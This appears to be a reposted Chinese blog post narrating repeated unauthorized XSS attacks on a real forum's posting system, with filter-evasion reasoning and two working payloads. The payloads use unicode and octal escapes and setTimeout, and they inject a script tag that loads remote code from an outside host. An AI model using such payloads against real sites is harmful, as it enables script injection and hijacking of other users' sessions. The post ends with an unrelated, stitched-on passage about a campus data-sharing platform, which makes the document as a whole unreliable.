一次有趣的XSS漏洞挖掘分析(2)

一位玩家深入探讨了一次黑客攻击经历,面对程序员修复漏洞的过程,从onmouseover拦截到编码绕过的应对策略,直至成功构造无eval、unicode等特性的payload,全程充满策略与技巧的较量。

第一次和一套程序做了这么多次的斗争。今天基友又给我来信说,没得玩了。了解了下情况,是他拿着0day到处插,被人家发现了。还出了个公告,说所有***必须安装补丁。呵呵,性福总是走的这么突然。这乐子一下就让人给搞没了。本来想的就算了。但是突然觉得还是想看看程序员是怎么修复的。(说实话,搞了那么多天也有感情了不是)

<p onmouseover="\u0064ocument.write('&lt;sc'+'ript src=//zsy.ca/33&gt;&lt;/sc'+'ript&gt;')">  

针对于我用上面的payload和我用eval拼接多个XSS语句的的问题,在多次黑盒测试之后发现他是这么去思考这个问题的:

3.jpg

1.先解决掉onmouseover,采取的方式是发现onmou就拦截发贴
2.解决编码绕过问题。怎么做?既然可以用unicode来绕过就在发现\u时拦截
3.既然有人用eval来拼接,我就把eval过滤了。发现就拦截。
4.既然黑阔用的方法都是不闭合标签的,那么当碰到没有闭合的标签时就让content=""(其实我也想闭合显得自己专业一点。但是长度不够啊)

  要再次挑战一下这个程序员么?
index.png

一个很有意思的程序员。我其实挺佩服他这种认真负责的态度的。但是方法还是不对。顺便提一下一个新发现的问题。这个问题不知道是之前就有了,还是程序员爆发了。他把“#”给过滤了。有两种可能性:

1.是个通用的防注入程序,为了防止网站被注入时攻击者使用"#"来注释多余的部分
2.他开窍了。他知道除了unicode之外,还有hex和demical只要过滤了#,我就绕不过去了。

  然后顺便纠正一下我上次测试的时候,犯的一个马虎。其实标题处的长度限制是150.我可能当时测试的姿势不对- -。这个也不是今天的重点。

  因为第一次对测试步骤已经说的很详细了。故不做重复的解释。在经过一系列fuzz之后发现onclick属性它没过滤。我们就有了

<p onclick="">求助</p>

还要继续解决前面的问题。之前在处理黑名单成员document时,我们使用了unicode.现在不单unicode不能用了,替代品hex和demical也不能用了(因为过滤了"#")想了下还有octal和base16.但是base16和octal不能直接拿来编码document。如果在eval()里面就好了。可是eval()又被过滤了。怎么办呢?想了想,还有个加强版的eval()就是setTimeout(,).和eval最大的区别就是多了个Timer。但是只要把延迟设置为0那就和eval()是一样的了。

level1.png

 

然后开始构造payload:

<p onclick="setTimeout('\144ocument.write(\47\74\163cript src=//zsy.ca/33\76\74/\163cript\76\47)',0)">域名问题</p>

一个没有eval,unicode,document,char,onmouseover,script和#的payload又让我们给写好了.性福总是来的这么突然。不知道这次穿帮又会是什么时候。期待程序员下次更好的表现呢。程序猿,加油!

  这次的可能有点短。如果大家都觉得挺有意思的话下次他再更新程序了,我会再次跟进测试然后发到这里。如果觉得太无趣了的话也可以说一下,我也就不发了。

转载于:https://www.cnblogs.com/hookjoy/p/3503837.html

多源数据接入 支持校园各业务系统数据接入:包括教务系统(学生成绩、课程信息)、学工系统(奖惩记录、资助信息)、后勤系统(宿舍分配、能耗数据)、图书馆系统(借阅记录、馆藏信息)、一卡通系统(消费数据、门禁记录)等。 接入方式:提供数据库直连(MySQL、SQL Server)、文件导入(CSV、Excel、JSON)、API 接口调用等多种方式,支持实时同步与定时批量同步。 数据标准化与治理 建立校园数据标准体系:统一数据格式(如日期格式、学号编码规则)、定义核心数据元(如 “学生” 包含学号、姓名、专业等必选字段)、规范代码集(如性别代码 “1 - 男,2 - 女”)。 数据清洗:自动检测并处理缺失值、重复值、异常值(如成绩 > 100 分),通过规则引擎实现数据校验(如 “学生年龄需在 16-30 岁之间”)。 元数据管理:记录数据来源、格式、更新频率、负责人等信息,生成数据血缘图谱,追踪数据从产生到应用的全生命周期。 二、数据共享与交换核心功能 分布式数据存储 基于 Hadoop HDFS 实现海量数据存储:结构化数据(成绩、消费记录)存入 HBase,非结构化数据(文档、图片、视频)直接存储于 HDFS,日志类数据通过 Flume 采集至 HDFS。 支持数据分片与副本机制,确保数据高可用(默认 3 副本存储),满足校园 PB 级数据存储需求。 数据交换引擎 构建点对点数据交换通道:各部门系统可通过交换引擎向平台上传数据或申请获取授权数据,支持同步 / 异步交换模式。 交换流程管理:定义数据交换规则(如 “学工系统每日向平台同步新增学生信息”),记录交换日志(成功 / 失败状态、数据量),失败时自动重试。 数据脱敏:对敏感数据(如身份证号、银行卡号)在交换过程中进行脱敏处理(如显示 “110********5678”),兼顾共享与隐私保护。
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